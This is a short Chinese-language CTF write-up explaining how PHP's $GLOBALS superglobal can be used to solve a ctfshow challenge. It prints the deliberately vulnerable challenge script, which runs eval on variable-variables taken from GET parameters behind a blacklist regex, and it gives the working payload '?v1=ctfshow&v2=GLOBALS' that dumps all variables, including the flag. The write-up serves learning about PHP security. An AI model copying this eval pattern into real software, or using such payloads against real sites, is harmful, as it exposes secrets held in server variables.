PHP特性:关于全局变量global的学习
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
变量覆盖是没跑了,但是不知道flag在哪个变量,此时可以使用全局变量:GLOBALS
举个例子:
<?php $a=123; $b=456; var_dump($GLOBALS);
会输出很多:
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
["GLOBALS"]=>
*RECURSION*
["a"]=>
int(123)
["b"]=>
int(456)
}
["a"]=>
int(123)
["b"]=>
int(456)
}
最后我们可以发现我们自定义的变量也在这其中:
[“a”]=> int(123) [“b”]=> int(456) }
这样就可以输出我们的flag了
直接使用payload:
?v1=ctfshow&v2=GLOBALS